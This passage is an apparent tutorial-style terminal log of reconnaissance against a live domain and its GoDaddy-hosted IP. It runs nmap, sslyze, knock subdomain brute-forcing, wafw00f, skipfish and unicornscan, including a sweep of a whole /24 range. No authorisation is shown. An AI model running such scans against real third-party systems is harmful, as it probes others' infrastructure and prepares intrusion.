  618. Service scan Timing: About 86.03% done; ETC: 12:54 (0:06:53 remaining)
  619. Service scan Timing: About 92.02% done; ETC: 12:54 (0:03:56 remaining)
  620. Service scan Timing: About 98.00% done; ETC: 12:54 (0:00:59 remaining)
  621. Completed Service scan at 12:54, 2976.47s elapsed (1002 services on 1 host)
  622. Initiating OS detection (try #1) against 198.71.232.3
  623. Retrying OS detection (try #2) against 198.71.232.3
  624. Initiating Traceroute at 12:54
  625. Completed Traceroute at 12:54, 3.05s elapsed
  626. NSE: Script scanning 198.71.232.3.
  627. Initiating NSE at 12:54
  628. Completed NSE at 12:58, 216.46s elapsed
  629. Initiating NSE at 12:58
  630. Completed NSE at 12:58, 0.24s elapsed
  631. Nmap scan report for 198.71.232.3
  632. Host is up (0.11s latency).
  633. Not shown: 1000 open|filtered ports, 998 filtered ports
  634. PORT    STATE SERVICE  VERSION
  635. 80/tcp  open  http     Samsung AllShare httpd
  636. | http-methods:
  637. |_  Supported Methods: GET HEAD POST OPTIONS
  638. |_http-server-header: DPS/1.0.3
  639. |_http-title: 404 Not Found
  640. 443/tcp open  ssl/http Samsung AllShare httpd
  641. |_http-server-header: DPS/1.0.3
  642. |_http-title: 404 Not Found
  643. | ssl-cert: Subject: commonName=*.godaddysites.com/organizationName=GoDaddy.com, LLC/stateOrProvinceName=Arizona/countryName=US
  644. | Issuer: commonName=Go Daddy Secure Certification Authority/organizationName=GoDaddy.com, Inc./stateOrProvinceName=Arizona/countryName=US
  645. | Public Key type: rsa
  646. | Public Key bits: 2048
  647. | Signature Algorithm: sha1WithRSAEncryption
  648. | Not valid before: 2013-12-09T21:03:50
  649. | Not valid after:  2016-12-09T21:03:50
  650. | MD5:   b9fa bb00 6886 5d4c 47be 2cae 6529 fdce
  651. |_SHA-1: 95a5 92da fdd9 dcb8 e554 5599 1d1b 5ae1 7f0f d2c7
  652. |_ssl-date: TLS randomness does not represent time
  653. | tls-nextprotoneg:
  654. |   http/1.1
  655. |_  http/1.0
  656. Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
  657. OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
  658. No OS matches for host
  659. Uptime guess: 0.003 days (since Sun May 29 12:53:57 2016)
  660. Network Distance: 17 hops
  661. TCP Sequence Prediction: Difficulty=261 (Good luck!)
  662. IP ID Sequence Generation: All zeros
  663.  
  664. TRACEROUTE (using port 443/tcp)
  665. HOP RTT       ADDRESS
  666. 1   3.37 ms   192.168.1.1
  667. 2   ...
  668. 3   10.25 ms  172.17.19.169
  669. 4   13.05 ms  172.17.18.61
  670. 5   13.14 ms  172.19.240.133
  671. 6   12.84 ms  93.186.128.245
  672. 7   10.91 ms  195.22.205.155
  673. 8   11.54 ms  4.68.111.165
  674. 9   ...
  675. 10  106.27 ms 4.15.136.118
  676. 11  106.89 ms 184.168.6.83
  677. 12  106.79 ms 184.168.6.83
  678. 13  ... 16
  679. 17  108.63 ms 198.71.232.3
  680.  
  681. NSE: Script Post-scanning.
  682. Initiating NSE at 12:58
  683. Completed NSE at 12:58, 0.00s elapsed
  684. Initiating NSE at 12:58
  685. Completed NSE at 12:58, 0.00s elapsed
  686. Read data files from: /usr/bin/../share/nmap
  687. OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  688. Nmap done: 1 IP address (1 host up) scanned in 3216.79 seconds
  689.            Raw packets sent: 4123 (155.388KB) | Rcvd: 42 (2.672KB)
  690.  
  691.  
  692. USE SSLYZE
  693.  
  694. ┌─[root@parrot]─[~]
  695. └──╼ #sslyze --regular 198.71.232.3:443
  696.  
  697.  
  698.  REGISTERING AVAILABLE PLUGINS
  699.  -----------------------------
  700.  
  701.   PluginSessionRenegotiation
  702.   PluginCompression
  703.   PluginSessionResumption
  704.   PluginCertInfo
  705.   PluginOpenSSLCipherSuites
  706.  
  707.  
  708.  
  709.  CHECKING HOST(S) AVAILABILITY
  710.  -----------------------------
  711.  
  712.    198.71.232.3:443                    => 198.71.232.3:443
  713.  
  714.  
  715.  
  716.  SCAN RESULTS FOR 198.71.232.3:443 - 198.71.232.3:443
  717.  ----------------------------------------------------
  718.  
  719. Unhandled exception when processing --compression:
  720. utils.ctSSL.errors.ctSSLFeatureNotAvailable - Could not enable Zlib compression: OpenSSL was not built with Zlib support ?
  721.  
  722.   * Certificate :
  723.       Validation w/ Mozilla's CA Store:  Certificate is Trusted            
  724.      Hostname Validation:               MISMATCH                          
  725.      SHA1 Fingerprint:                  95A592DAFDD9DCB8E55455991D1B5AE17F0FD2C7
  726.  
  727.      Common Name:                       *.godaddysites.com                
  728.      Issuer:                            /C=US/ST=Arizona/L=Scottsdale/O=GoDaddy.com, Inc./OU=http://certificates.godaddy.com/repository/CN=Go Daddy Secure Certification Authority/serialNumber=07969287
  729.      Serial Number:                     4B09760F282ABD                    
  730.      Not Before:                        Dec  9 21:03:50 2013 GMT          
  731.      Not After:                         Dec  9 21:03:50 2016 GMT          
  732.      Signature Algorithm:               sha1WithRSAEncryption              
  733.      Key Size:                          2048                              
  734.      X509v3 Subject Alternative Name:   DNS:*.godaddysites.com, DNS:godaddysites.com
  735.  
  736.  * Session Renegotiation :
  737.      Client-initiated Renegotiations:    Honored
  738.      Secure Renegotiation:               Supported
  739.  
  740. Unhandled exception when processing --sslv2:
  741. utils.ctSSL.errors.ctSSLFeatureNotAvailable - SSLv2 disabled.
  742.  
  743.  * Session Resumption :
  744.      With Session IDs:           Not supported (0 successful, 5 failed, 0 errors, 5 total attempts).
  745.      With TLS Session Tickets:   Not Supported - TLS ticket assigned but not accepted.
  746.  
  747.  * TLSV1_1 Cipher Suites :
  748.  
  749.      Rejected Cipher Suite(s): Hidden
  750.  
  751.      Preferred Cipher Suite:          
  752.        ECDHE-RSA-AES256-SHA     256 bits      HTTP 404 Not Found                
  753.  
  754.      Accepted Cipher Suite(s):        
  755.        ECDHE-RSA-AES256-SHA     256 bits      HTTP 404 Not Found                
  756.        CAMELLIA256-SHA          256 bits      HTTP 404 Not Found                
  757.        AES256-SHA               256 bits      HTTP 404 Not Found                
  758.        ECDHE-RSA-AES128-SHA     128 bits      HTTP 404 Not Found                
  759.        CAMELLIA128-SHA          128 bits      HTTP 404 Not Found                
  760.        AES128-SHA               128 bits      HTTP 404 Not Found                
  761.        ECDHE-RSA-DES-CBC3-SHA   112 bits      HTTP 404 Not Found                
  762.        DES-CBC3-SHA             112 bits      HTTP 404 Not Found                
  763.  
  764.      Unknown Errors: None            
  765.  
  766.  * TLSV1_2 Cipher Suites :
  767.  
  768.      Rejected Cipher Suite(s): Hidden
  769.  
  770.      Preferred Cipher Suite:          
  771.        ECDHE-RSA-AES256-GCM-SHA384256 bits      HTTP 404 Not Found                
  772.  
  773.      Accepted Cipher Suite(s):        
  774.        ECDHE-RSA-AES256-SHA384  256 bits      HTTP 404 Not Found                
  775.        ECDHE-RSA-AES256-SHA     256 bits      HTTP 404 Not Found                
  776.        ECDHE-RSA-AES256-GCM-SHA384256 bits      HTTP 404 Not Found                
  777.        CAMELLIA256-SHA          256 bits      HTTP 404 Not Found                
  778.        AES256-SHA256            256 bits      HTTP 404 Not Found                
  779.        AES256-SHA               256 bits      HTTP 404 Not Found                
  780.        AES256-GCM-SHA384        256 bits      HTTP 404 Not Found                
  781.        ECDHE-RSA-AES128-SHA256  128 bits      HTTP 404 Not Found                
  782.        ECDHE-RSA-AES128-SHA     128 bits      HTTP 404 Not Found                
  783.        ECDHE-RSA-AES128-GCM-SHA256128 bits      HTTP 404 Not Found                
  784.        CAMELLIA128-SHA          128 bits      HTTP 404 Not Found                
  785.        AES128-SHA256            128 bits      HTTP 404 Not Found                
  786.        AES128-SHA               128 bits      HTTP 404 Not Found                
  787.        AES128-GCM-SHA256        128 bits      HTTP 404 Not Found                
  788.        ECDHE-RSA-DES-CBC3-SHA   112 bits      HTTP 404 Not Found                
  789.        DES-CBC3-SHA             112 bits      HTTP 404 Not Found                
  790.  
  791.      Unknown Errors: None            
  792.  
  793.  * SSLV3 Cipher Suites :
  794.  
  795.      Rejected Cipher Suite(s): Hidden
  796.  
  797.      Preferred Cipher Suite: None    
  798.  
  799.      Accepted Cipher Suite(s): None  
  800.  
  801.      Unknown Errors: None            
  802.  
  803.  * TLSV1 Cipher Suites :
  804.  
  805.      Rejected Cipher Suite(s): Hidden
  806.  
  807.      Preferred Cipher Suite:          
  808.        ECDHE-RSA-AES256-SHA     256 bits      HTTP 404 Not Found                
  809.  
  810.      Accepted Cipher Suite(s):        
  811.        ECDHE-RSA-AES256-SHA     256 bits      HTTP 404 Not Found                
  812.        CAMELLIA256-SHA          256 bits      HTTP 404 Not Found                
  813.        AES256-SHA               256 bits      HTTP 404 Not Found                
  814.        ECDHE-RSA-AES128-SHA     128 bits      HTTP 404 Not Found                
  815.        CAMELLIA128-SHA          128 bits      HTTP 404 Not Found                
  816.        AES128-SHA               128 bits      HTTP 404 Not Found                
  817.        ECDHE-RSA-DES-CBC3-SHA   112 bits      HTTP 404 Not Found                
  818.        DES-CBC3-SHA             112 bits      HTTP 404 Not Found                
  819.  
  820.      Unknown Errors: None            
  821.  
  822.  
  823.  
  824. SCAN COMPLETED IN 3.07 S
  825. ------------------------
  826.  
  827. Install knock
  828.  
  829. ┌─[root@parrot]─[~]
  830. └──╼ #wget https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/knock/knock-1.5.tar.gz
  831. --2016-05-29 12:19:30--  https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/knock/knock-1.5.tar.gz
  832. Resolving storage.googleapis.com (storage.googleapis.com)... 172.217.16.208, 2a00:1450:4001:801::2010
  833. Connecting to storage.googleapis.com (storage.googleapis.com)|172.217.16.208|:443... connected.
  834. HTTP request sent, awaiting response... 200 OK
  835. Length: 8484 (8.3K) [application/octet-stream]
  836. Saving to: ‘knock-1.5.tar.gz’
  837.  
  838. knock-1.5.tar.gz    100%[=====================>]   8.29K  --.-KB/s   in 0.002s
  839.  
  840. 2016-05-29 12:19:36 (4.03 MB/s) - ‘knock-1.5.tar.gz’ saved [8484/8484]
  841.  
  842. ┌─[root@parrot]─[~]
  843. └──╼ #ls
  844. Desktop    Downloads         Music     Public     Videos
  845. Documents  knock-1.5.tar.gz  Pictures  Templates
  846.  
  847. ┌─[root@parrot]─[~]
  848. └──╼ #tar -xvzf knock-1.5.tar.gz
  849. knock.py
  850.  
  851. ┌─[root@parrot]─[~]
  852. └──╼ #cp knock.py Desktop
  853.  
  854. ┌─[root@parrot]─[~]
  855. └──╼ #cd Desktop/
  856.  
  857. ┌─[root@parrot]─[~/Desktop]
  858. └──╼ #chmod +x knock.py
  859.  
  860. USE KNOCK
  861.  
  862. $ python knock.py <option> <url>
  863.  
  864. Rapid Scan
  865.  
  866. Scanning with internal wordlist:
  867. $ python knock.py <url>
  868.  
  869. Scanning with external wordlist:
  870. $ python knock.py <url> <wordlist>
  871.  
  872. Options
  873. -zt Zone Transfer discovery:
  874.  
  875. $ python knock.py -zt <url>
  876. -dns Dns resolver:
  877.  
  878. $ python knock.py -dns <url>
  879. -wc Wildcard testing:
  880.  
  881. $ python knock.py -wc <url>
  882. -wc Wildcard bypass:
  883.  
  884. $ python knock.py -bw <stringexclude> <url>
  885.  
  886. ┌─[root@parrot]─[~/Desktop]
  887. └──╼ #./knock.py vyxunbnbs.com --wordlist /root/Desktop/rockyou.txt
  888. Knock v1.5 by Gianni 'guelfoweb' Amato ( http://knock.googlecode.com )
  889.  
  890. [+] Testing domain
  891.         www.vyxunbnbs.com          198.71.232.3      
  892. [+] Dns resolving
  893.       Domain name               Ip address              Name server      
  894.      vyxunbnbs.com             198.71.232.3      ip-198-71-232-3.ip.secureserver.net
  895. Found 1 host(s) for vyxunbnbs.com
  896. [+] Testing wildcard
  897.  
  898.     Wildcard enabled! Try with -bw option
  899.     Example: knock -bw 404 vyxunbnbs.com
  900.  
  901. ┌─[root@parrot]─[~/Desktop]
  902. └──╼ #./knock.py -bw 404 vyxunbnbs.com
  903. Knock v1.5 by Gianni 'guelfoweb' Amato ( http://knock.googlecode.com )
  904.  
  905. [+] Testing domain
  906.         www.vyxunbnbs.com          198.71.232.3      
  907. [+] Dns resolving
  908.       Domain name               Ip address              Name server      
  909.      vyxunbnbs.com             198.71.232.3      ip-198-71-232-3.ip.secureserver.net
  910. Found 1 host(s) for vyxunbnbs.com
  911. [+] Bypass wildcard
  912.     0.vyxunbnbs.com                              
  913.     01.vyxunbnbs.com                            
  914.     02.vyxunbnbs.com                            
  915.     03.vyxunbnbs.com                            
  916.     1.vyxunbnbs.com                              
  917.  
  918. --snip--
  919.  
  920. Found 1904 subdomain(s) in 523.4 second(s)
  921.  
  922.  
  923. CHECK IF THE SITE IS BEHIND A FIREWALL
  924.  
  925. ┌─[root@parrot]─[~]
  926. └──╼ #wafw00f 198.71.232.3
  927.  
  928.                                 ^     ^
  929.        _   __  _   ____ _   __  _    _   ____
  930.       ///7/ /.' \ / __////7/ /,' \ ,' \ / __/
  931.       | V V // o // _/ | V V // 0 // 0 // _/  
  932.       |_n_,'/_n_//_/   |_n_,' \_,' \_,'/_/    
  933.                                 <  
  934.                                  ...'
  935.                                
  936.    WAFW00F - Web Application Firewall Detection Tool
  937.    
  938.    By Sandro Gauci && Wendel G. Henrique
  939.  
  940. Checking http://198.71.232.3
  941. The site http://198.71.232.3 is behind a SecureIIS
  942. Number of requests: 9
  943.  
  944.  
  945. CHECK THE SITE WITH SKIPFISH
  946.  
  947. ┌─[root@parrot]─[~]
  948. └──╼ #skipfish -o /tmp/snep http://www.vyxunbnbs.com
  949.  
  950.  
  951. skipfish version 2.10b by [email protected] 345 kB out (199.0 kB/s)  l
  952. skipfish version 2.10b by [email protected] 352 kB out (201.2 kB/s)  l
  953. skipfish version 2.10b by [email protected] 358 kB out (206.1 kB/s)  l
  954. skipfish version 2.10b by [email protected] 369 kB out (214.7 kB/s)  l
  955.  - www.vyxunbnbs.com -30.831s), 6349 kB in, 378 kB out (221.3 kB/s)  l
  956.  - www.vyxunbnbs.com -31.125s), 6612 kB in, 386 kB out (227.0 kB/s)  l
  957. Scan statistics:: 0:00:31.635s), 6796 kB in, 391 kB out (230.9 kB/s)  l
  958. Scan statistics:: 0:00:31.920s), 7064 kB in, 398 kB out (235.9 kB/s)  l
  959.      Scan time : 0:00:32.170s), 7236 kB in, 403 kB out (239.4 kB/s)  l
  960.      Scan time : 0:00:32.334s), 7389 kB in, 407 kB out (242.4 kB/s)  l
  961.  HTTP requests : 1728 (53.4/s), 7460 kB in, 408 kB out (243.3 kB/s)  l
  962.    Compression : 5611 kB in, 26863 kB out (65.4% gain)    0 drops0 val
  963.    HTTP faults : 1 net errors, 0 proto errors, 1 retried, 0 drops0 val
  964. TCP handshakes : 19 total (90.9 req/conn)  purgeddict     1 par, 0 val
  965.     TCP faults : 0 failures, 0 timeouts, 8 purgeddict     1 par, 0 val
  966. External links : 5456 skipped done (91.30%)    0 dict     1 par, 0 val
  967.   Reqs pending : 0         21 done (91.30%)    0 dict     1 par, 0 val
  968. Database statistics: total, 21 done (91.30%)    0 dict     1 par, 0 val
  969. Database statistics: total, 21 done (91.30%)    0 dict     1 par, 0 val
  970.         Pivots : 23 total, 21 done (91.30%)    0 dict     1 par, 0 val
  971.         Pivots : 23 total, 22 done (95.65%)    0 dict     1 par, 0 val
  972.    In progress : 0 pending, 0 init, 1 attacks, 0 dict     1 par, 0 val
  973.  Missing nodes : 0 spotted dir, 20 file, 0 pinfo, 0 unkn, 1 par, 0 val
  974.     Node types : 1 serv, 1 dir, 20 file, 0 pinfo, 0 unkn, 1 par, 0 val
  975.   Issues found : 6 info, 1 warn, 102 low, 39 medium, 0 high impact
  976.      Dict size : 17 words (17 new), 2 extensions, 256 candidates
  977.     Signatures : 77 total
  978.        
  979. [+] Copying static resources...
  980. [+] Sorting and annotating crawl nodes: 23
  981. [+] Looking for duplicate entries: 23
  982. [+] Counting unique nodes: 14
  983. [+] Saving pivot data for third-party tools...
  984. [+] Writing scan description...
  985. [+] Writing crawl tree: 23
  986. [+] Generating summary views...
  987. [+] Report saved to '/tmp/snep/index.html' [0xed916f54].
  988. [+] This was a great day for science!
  989.  
  990. ┌─[root@parrot]─[~]
  991. └──╼ #firefox /tmp/snep/index.html
  992.  
  993. CHECK THE SITE WITH UNICORNSCAN
  994.  
  995. ┌─[root@parrot]─[~]
  996. └──╼ #unicornscan -r200 -Iv -eosdetect  -mT 198.71.232.3:3306,80,443
  997.  
  998. adding 198.71.232.3/32 mode `TCPscan' ports `3306,80,443' pps 200
  999. using interface(s) eth0
  1000. scaning 1.00e+00 total hosts with 3.00e+00 total packets, should take a little longer than 7 Seconds
  1001. sender statistics 199.2 pps with 3 packets sent total
  1002. ST 1 IP TTL 47 TOS 0x00 [DF] TCP WS 14480 urg_ptr 0000
  1003. TCP open 198.71.232.3:80  ttl 47
  1004. ST 1 IP TTL 47 TOS 0x00 [DF] TCP WS 14480 urg_ptr 0000
  1005. TCP open 198.71.232.3:443  ttl 47
  1006. listener statistics 72 packets recieved 0 packets droped and 0 interface drops
  1007. TCP open                http[   80]     from 198.71.232.3  ttl 47 OS `'
  1008. TCP open               https[  443]     from 198.71.232.3  ttl 47 OS `'
  1009.  
  1010. UDP Scan
  1011.  
  1012. ┌─[root@parrot]─[~]
  1013. └──╼ #unicornscan -mU -r200 -I  198.71.232.3
  1014.  
  1015.  
  1016. Where
  1017.  
  1018. __________________________________________________________________
  1019. -mU              :    is mode UDP
  1020. -I               :    Display Immediately
  1021.  198.71.232.3     :    target IP  
  1022.  :53             :    port number
  1023. -r200            :    200 Packets per second
  1024. ___________________________________________________________________
  1025.  
  1026. TCP Scan
  1027.  
  1028. ┌─[✗]─[root@parrot]─[~]
  1029. └──╼ #unicornscan -r500 -mT 198.71.232.1/24:80,443,445,339
  1030.  
  1031.  
  1032. Where
  1033.  
  1034. __________________________________________________________________
  1035. -mT                 :    is mode TCP
  1036. 198.71.232.3/24     :    target network range ( block )  
  1037.  :80,443,445,339    :    ports
  1038. -r500               :    500 Packets per second
  1039. ___________________________________________________________________
  1040.  
  1041. Many Other options you can pass , for example for ACK use -mTsA
  1042.  
  1043. SYN                     :    -mT
  1044. ACK scan                :    -mTsA
  1045. Fin scan                :    -mTsF
  1046. Null scan               :    -mTs
  1047. Xmas scan               :    -mTsFPU
  1048. Connect Scan            :    -msf -Iv
  1049. scan with all options   :    -mTFSRPAUEC
  1050. Syn + osdetect          :    -eosdetect -Iv (-mT)
  1051. scan ports 1 through 5  :   (-mT) host:1-5
  1052.  
  1053. Practical Use Case
  1054.  
  1055. scanning for mysql with http and https ports
  1056.  
  1057. ┌─[root@parrot]─[~]
  1058. └──╼ #unicornscan -r200 -Iv -eosdetect -mT vyxunbnbs.com:3306,80,443
  1059. adding 198.71.232.3/32 mode `TCPscan' ports `3306,80,443' pps 200
  1060. using interface(s) eth0
  1061. scaning 1.00e+00 total hosts with 3.00e+00 total packets, should take a little longer than 7 Seconds
  1062. sender statistics 194.9 pps with 3 packets sent total
  1063. ST 1 IP TTL 47 TOS 0x00 [DF] TCP WS 14480 urg_ptr 0000
  1064. TCP open 198.71.232.3:80  ttl 47
  1065. ST 1 IP TTL 47 TOS 0x00 [DF] TCP WS 14480 urg_ptr 0000
  1066. TCP open 198.71.232.3:443  ttl 47
  1067. Recv [Error   packet_parse.c:335] likely bad: packet has incorrect ip length, skipping it [ip total length claims 2932 and we have 1550
  1068. Recv [Error   packet_parse.c:335] likely bad: packet has incorrect ip length, skipping it [ip total length claims 4372 and we have 1550
  1069. Recv [Error   packet_parse.c:335] likely bad: packet has incorrect ip length, skipping it [ip total length claims 9414 and we have 1550
  1070. Recv [Error   packet_parse.c:335] likely bad: packet has incorrect ip length, skipping it [ip total length claims 2932 and we have 1550
  1071. Recv [Error   packet_parse.c:335] likely bad: packet has incorrect ip length, skipping it [ip total length claims 2932 and we have 1550
  1072. Recv [Error   packet_parse.c:335] likely bad: packet has incorrect ip length, skipping it [ip total length claims 3254 and we have 1550
  1073. Recv [Error   packet_parse.c:335] likely bad: packet has incorrect ip length, skipping it [ip total length claims 2932 and we have 1550
  1074. Recv [Error   packet_parse.c:335] likely bad: packet has incorrect ip length, skipping it [ip total length claims 4372 and we have 1550
  1075. Recv [Error   packet_parse.c:335] likely bad: packet has incorrect ip length, skipping it [ip total length claims 2932 and we have 1550
  1076. Recv [Error   packet_parse.c:335] likely bad: packet has incorrect ip length, skipping it [ip total length claims 4094 and we have 1550
  1077. Recv [Error   packet_parse.c:335] likely bad: packet has incorrect ip length, skipping it [ip total length claims 2932 and we have 1550
  1078. listener statistics 193 packets recieved 0 packets droped and 0 interface drops
  1079. TCP open                http[   80]     from 198.71.232.3  ttl 47 OS `'
  1080. TCP open               https[  443]     from 198.71.232.3  ttl 47 OS `'
  1081.  
  1082. ┌─[root@parrot]─[~]
  1083. └──╼ #unicornscan -eosdetect -Iv -v vyxunbnbs.com
  1084. adding 198.71.232.3/32 mode `TCPscan' ports `7,9,11,13,18,19,21-23,25,37,39,42,49,50,53,65,67-70,79-81,88,98,100,105-107,109-111,113,118,119,123,129,135,137-139,143,150,161-164,174,177-179,191,199-202,204,206,209,210,213,220,345,346,347,369-372,389,406,407,422,443-445,487,500,512-514,517,518,520,525,533,538,548,554,563,587,610-612,631-634,636,642,653,655,657,666,706,750-752,765,779,808,873,901,923,941,946,992-995,1001,1023-1030,1080,1210,1214,1234,1241,1334,1349,1352,1423-1425,1433,1434,1524,1525,1645,1646,1649,1701,1718,1719,1720,1723,1755,1812,1813,2048-2050,2101-2104,2140,2150,2233,2323,2345,2401,2430,2431,2432,2433,2583,2628,2776,2777,2988,2989,3050,3130,3150,3232,3306,3389,3456,3493,3542-3545,3632,3690,3801,4000,4400,4321,4567,4899,5002,5136-5139,5150,5151,5222,5269,5308,5354,5355,5422-5425,5432,5503,5555,5556,5678,6000-6007,6346,6347,6543,6544,6789,6838,6666-6670,7000-7009,7028,7100,7983,8079-8082,8088,8787,8879,9090,9101-9103,9325,9359,10000,10026,10027,10067,10080,10081,10167,10498,11201,15345,17001-17003,18753,20011,20012,21554,22273,26274,27374,27444,27573,31335-31338,31787,31789,31790,31791,32668,32767-32780,33390,47262,49301,54320,54321,57341,58008,58009,58666,59211,60000,60006,61000,61348,61466,61603,63485,63808,63809,64429,65000,65506,65530-65535' pps 300
  1085. using interface(s) eth0
  1086. added module payload for port 1900 proto 17
  1087. added module payload for port 80 proto 6
  1088. added module payload for port 5060 proto 17
  1089. added module payload for port 53 proto 17
  1090. added module payload for port 80 proto 6
  1091. added module payload for port 518 proto 17
  1092. scaning 1.00e+00 total hosts with 3.38e+02 total packets, should take a little longer than 8 Seconds
  1093. drone type Unknown on fd 4 is version 1.1
  1094. drone type Unknown on fd 5 is version 1.1
  1095. added module payload for port 1900 proto 17
  1096. added module payload for port 80 proto 6
  1097. added module payload for port 5060 proto 17
  1098. added module payload for port 53 proto 17
  1099. added module payload for port 80 proto 6
  1100. added module payload for port 518 proto 17
  1101. scan iteration 1 out of 1
  1102. using pcap filter: `dst 192.168.1.83 and ! src 192.168.1.83 and (tcp)'
  1103. using TSC delay
  1104. ST 1 IP TTL 47 TOS 0x00 [DF] TCP WS 14480 urg_ptr 0000
  1105. TCP open 198.71.232.3:80  ttl 47
  1106. ST 1 IP TTL 47 TOS 0x00 [DF] TCP WS 14480 urg_ptr 0000
  1107. TCP open 198.71.232.3:443  ttl 47
  1108. sender statistics 290.1 pps with 338 packets sent total
  1109. listener statistics 166 packets recieved 0 packets droped and 0 interface drops
  1110. TCP open                http[   80]     from 198.71.232.3  ttl 47 OS `'
  1111. TCP open               https[  443]     from 198.71.232.3  ttl 47 OS `'
  1112.  
  1113.  
  1114. ┌─[root@parrot]─[~]
  1115. └──╼ #unicornscan -r200 -Iv -eosdetect  -mT vyxunbnbs.com:3306,80,443
  1116. adding 198.71.232.3/32 mode `TCPscan' ports `3306,80,443' pps 200
  1117. using interface(s) eth0
  1118. scaning 1.00e+00 total hosts with 3.00e+00 total packets, should take a little longer than 7 Seconds
  1119. sender statistics 138.1 pps with 3 packets sent total
  1120. ST 1 IP TTL 47 TOS 0x00 [DF] TCP WS 14480 urg_ptr 0000
  1121. TCP open 198.71.232.3:80  ttl 47
  1122. ST 1 IP TTL 47 TOS 0x00 [DF] TCP WS 14480 urg_ptr 0000
  1123. TCP open 198.71.232.3:443  ttl 47
  1124. listener statistics 142 packets recieved 0 packets droped and 0 interface drops
  1125. TCP open                http[   80]     from 198.71.232.3  ttl 47 OS `'
  1126. TCP open               https[  443]     from 198.71.232.3  ttl 47 OS `'
  1127.  
  1128. ┌─[root@parrot]─[~]
  1129. └──╼ #unicornscan -r200 -Iv -eosdetect  -mT 198.71.232.3:3306,80,443
  1130. adding 198.71.232.3/32 mode `TCPscan' ports `3306,80,443' pps 200
  1131. using interface(s) eth0
  1132. scaning 1.00e+00 total hosts with 3.00e+00 total packets, should take a little longer than 7 Seconds
  1133. sender statistics 199.3 pps with 3 packets sent total
  1134. ST 1 IP TTL 47 TOS 0x00 [DF] TCP WS 14480 urg_ptr 0000
  1135. TCP open 198.71.232.3:80  ttl 47
  1136. ST 1 IP TTL 47 TOS 0x00 [DF] TCP WS 14480 urg_ptr 0000
  1137. TCP open 198.71.232.3:443  ttl 47
  1138. listener statistics 146 packets recieved 0 packets droped and 0 interface drops
  1139. TCP open                http[   80]     from 198.71.232.3  ttl 47 OS `'
  1140. TCP open               https[  443]     from 198.71.232.3  ttl 47 OS `'
  1141.  
  1142.  
  1143. ┌─[root@parrot]─[~]
  1144. └──╼ #unicornscan -msf -v -I 198.71.232.3/24
  1145. adding 198.71.232.0/24 mode `TCPscan' ports `7,9,11,13,18,19,21-23,25,37,39,42,49,50,53,65,67-70,79-81,88,98,100,105-107,109-111,113,118,119,123,129,135,137-139,143,150,161-164,174,177-179,191,199-202,204,206,209,210,213,220,345,346,347,369-372,389,406,407,422,443-445,487,500,512-514,517,518,520,525,533,538,548,554,563,587,610-612,631-634,636,642,653,655,657,666,706,750-752,765,779,808,873,901,923,941,946,992-995,1001,1023-1030,1080,1210,1214,1234,1241,1334,1349,1352,1423-1425,1433,1434,1524,1525,1645,1646,1649,1701,1718,1719,1720,1723,1755,1812,1813,2048-2050,2101-2104,2140,2150,2233,2323,2345,2401,2430,2431,2432,2433,2583,2628,2776,2777,2988,2989,3050,3130,3150,3232,3306,3389,3456,3493,3542-3545,3632,3690,3801,4000,4400,4321,4567,4899,5002,5136-5139,5150,5151,5222,5269,5308,5354,5355,5422-5425,5432,5503,5555,5556,5678,6000-6007,6346,6347,6543,6544,6789,6838,6666-6670,7000-7009,7028,7100,7983,8079-8082,8088,8787,8879,9090,9101-9103,9325,9359,10000,10026,10027,10067,10080,10081,10167,10498,11201,15345,17001-17003,18753,20011,20012,21554,22273,26274,27374,27444,27573,31335-31338,31787,31789,31790,31791,32668,32767-32780,33390,47262,49301,54320,54321,57341,58008,58009,58666,59211,60000,60006,61000,61348,61466,61603,63485,63808,63809,64429,65000,65506,65530-65535' pps 300
  1146. using interface(s) eth0
  1147. scaning 2.56e+02 total hosts with 8.65e+04 total packets, should take a little longer than 4 Minutes, 55 Seconds
  1148. connected 192.168.1.83:39367 -> 198.71.232.3:443
  1149. TCP open 198.71.232.3:443  ttl 47
  1150. connected 192.168.1.83:31012 -> 198.71.232.5:443
  1151. TCP open 198.71.232.5:443  ttl 110
  1152. connected 192.168.1.83:7126 -> 198.71.232.4:443
  1153. TCP open 198.71.232.4:443  ttl 47
  1154. connected 192.168.1.83:32420 -> 198.71.232.7:443
  1155. TCP open 198.71.232.7:443  ttl 47
  1156. connected 192.168.1.83:6417 -> 198.71.232.6:443
  1157. TCP open 198.71.232.6:443  ttl 47
  1158. connected 192.168.1.83:64190 -> 198.71.232.4:80
  1159. TCP open 198.71.232.4:80  ttl 47
  1160. connected 192.168.1.83:36816 -> 198.71.232.6:80
  1161. TCP open 198.71.232.6:80  ttl 47
  1162. connected 192.168.1.83:56533 -> 198.71.232.7:80
  1163. TCP open 198.71.232.7:80  ttl 47
  1164. Recv [Error   packet_parse.c:335] likely bad: packet has incorrect ip length, skipping it [ip total length claims 2932 and we have 1550
  1165. Recv [Error   packet_parse.c:335] likely bad: packet has incorrect ip length, skipping it [ip total length claims 1722 and we have 1550
  1166. Recv [Error   packet_parse.c:335] likely bad: packet has incorrect ip length, skipping it [ip total length claims 2932 and we have 1550
  1167. Recv [Error   packet_parse.c:335] likely bad: packet has incorrect ip length, skipping it [ip total length claims 2932 and we have 1550
  1168. Recv [Error   packet_parse.c:335] likely bad: packet has incorrect ip length, skipping it [ip total length claims 2932 and we have 1550
  1169. Recv [Error   packet_parse.c:335] likely bad: packet has incorrect ip length, skipping it [ip total length claims 5435 and we have 1550
  1170. connected 192.168.1.83:5563 -> 198.71.232.7:22
  1171. TCP open 198.71.232.7:22  ttl 47
  1172. connected 192.168.1.83:7734 -> 198.71.232.1:25
  1173. TCP open 198.71.232.1:25  ttl 47
  1174. connected 192.168.1.83:43683 -> 198.71.232.0:25
  1175. TCP open 198.71.232.0:25  ttl 47
  1176. connected 192.168.1.83:30502 -> 198.71.232.2:25
  1177. TCP open 198.71.232.2:25  ttl 47
  1178. sender statistics 290.9 pps with 86528 packets sent total
  1179. listener statistics 180 packets recieved 0 packets droped and 0 interface drops
  1180. TCP open                smtp[   25]     from 198.71.232.0  ttl 47
  1181. TCP open                smtp[   25]     from 198.71.232.1  ttl 47
  1182. TCP open                smtp[   25]     from 198.71.232.2  ttl 47
  1183. TCP open               https[  443]     from 198.71.232.3  ttl 47
  1184. TCP open                http[   80]     from 198.71.232.4  ttl 47
